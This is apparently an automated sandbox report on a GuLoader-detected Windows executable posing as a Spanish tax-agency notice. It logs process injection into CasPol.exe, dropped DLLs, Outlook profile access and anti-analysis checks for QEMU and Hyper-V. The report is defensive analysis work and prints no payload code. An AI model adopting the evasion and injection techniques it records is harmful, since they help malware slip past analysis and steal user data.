Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30986	5_2_00F30986
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30377	5_2_00F30377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30769	5_2_00F30769
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30551	5_2_00F30551
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3033F	5_2_00F3033F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30727	5_2_00F30727
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30517	5_2_00F30517
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F30117	5_2_00F30117
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_348734F2	5_2_348734F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_34876DDF	5_2_34876DDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_348720D8	5_2_348720D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_34874858	5_2_34874858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_348762EF	5_2_348762EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_34876300	5_2_34876300

Source: System.Reflection.TypeExtensions.dll.0.dr

Static PE information: No import functions for PE file found

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Section loaded: edgegdi.dll			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: edgegdi.dll			Jump to behavior

Source: rAEAT-AvisodeNotificaci__n.exe

Static PE information: invalid certificate

Source: rAEAT-AvisodeNotificaci__n.exe	Virustotal: Detection: 26%
Source: rAEAT-AvisodeNotificaci__n.exe	ReversingLabs: Detection: 25%

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

File read: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Jump to behavior

Source: rAEAT-AvisodeNotificaci__n.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 2552
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

0_2_00403350

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

File created: C:\Users\user\AppData\Local\Temp\nsu2A86.tmp

Jump to behavior

Source: classification engine

Classification label: mal92.troj.spyw.evad.winEXE@5/21@3/3

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Code function: 0_2_004020FE CoCreateInstance,

0_2_004020FE

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Code function: 0_2_004046C3 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046C3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5816
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_03

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: rAEAT-AvisodeNotificaci__n.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @{n.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdbRSDS source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: f4symbols\exe\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: caspol.pdbcaspol.pdbpdbpol.pdb\v4.0.30319\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Reflection.Primitives\net6.0-Release\System.Reflection.Primitives.pdb source: System.Reflection.Primitives.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Reflection.Primitives\net6.0-Release\System.Reflection.Primitives.pdb8+N+ @+_CorDllMainmscoree.dll source: System.Reflection.Primitives.dll.0.dr
Source:	Binary string: System.Reflection.TypeExtensions.ni.pdb source: System.Reflection.TypeExtensions.dll.0.dr
Source:	Binary string: C:\Windows\caspol.pdbpdbpol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.pdbb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: caspol.pdbR/ source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: ?{nC:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: 6HPon,C:\Windows\caspol.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\caspol.pdb source: CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\caspol.pdbc source: CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdb4v?t4v?t source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Xml.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: ##.pdb source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.pdbTLIs source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: caspol.pdbloopback_0 source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdbRSDSrMV9 source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: caspol.pdb source: CasPol.exe, 00000005.00000002.2476781418.0000000004134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\caspol.pdb0 source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.PDB5 source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Reflection.TypeExtensions\net6.0-Release\System.Reflection.TypeExtensions.pdb source: System.Reflection.TypeExtensions.dll.0.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\caspol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb@ source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: wcaspol.PDB 8 source: CasPol.exe, 00000005.00000002.2493152343.0000000034667000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER3F32.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\exe\caspol.pdb source: CasPol.exe, 00000005.00000002.2497690963.0000000036968000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2031116791.00000000049EC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2396701126.0000000000F30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Betegner.But, type: DROPPED

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C508C push bx; retf	0_2_048C50CA
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C828D push BC5D77DBh; iretd	0_2_048C8292
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C6497 push es; retf	0_2_048C64CC
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C5AB1 push es; iretd	0_2_048C5ABA
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C7AC5 push eax; iretd	0_2_048C7AC8
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C50EC push bx; retf	0_2_048C50CA
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C68E7 push es; iretd	0_2_048C68EE
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C50F5 push bx; retf	0_2_048C50CA
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C6409 push es; retf	0_2_048C6485
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C81D4 push cs; iretd	0_2_048C81E2
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C81E3 push cs; retf	0_2_048C81F9
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C572D push ecx; iretd	0_2_048C5733
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_048C8343 push 6F430E00h; retf	0_2_048C834A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F350F5 push bx; retf	5_2_00F350CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F368E7 push es; iretd	5_2_00F368EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F350EC push bx; retf	5_2_00F350CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F37AC5 push eax; iretd	5_2_00F37AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F35AB1 push es; iretd	5_2_00F35ABA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F36497 push es; retf	5_2_00F364CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3828D push BC5D77DBh; iretd	5_2_00F38292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3508C push bx; retf	5_2_00F350CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F36409 push es; retf	5_2_00F36485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F381E3 push cs; retf	5_2_00F381F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F381D4 push cs; iretd	5_2_00F381E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F38343 push 6F430E00h; retf	5_2_00F3834A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_00F3572D push ecx; iretd	5_2_00F35733

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: System.Reflection.Primitives.dll.0.dr

Static PE information: 0xE40AD0DE [Wed Mar 28 09:54:38 2091 UTC]

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	File created: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.Primitives.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	File created: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	File created: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.TypeExtensions.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	File created: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\AdvSplash.dll	Jump to dropped file

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2029819324.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE0^
Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2029819324.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.Primitives.dll			Jump to dropped file
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.TypeExtensions.dll			Jump to dropped file

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_0040596D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0040596D
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_004065A2 FindFirstFileW,FindClose,	0_2_004065A2
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	API call chain: ExitProcess graph end node			graph_0-6918
Source: C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe	API call chain: ExitProcess graph end node			graph_0-6923

Source: rAEAT-AvisodeNotificaci__n.exe, 00000000.00000002.2083714063.0000000010059000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.2479913570.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
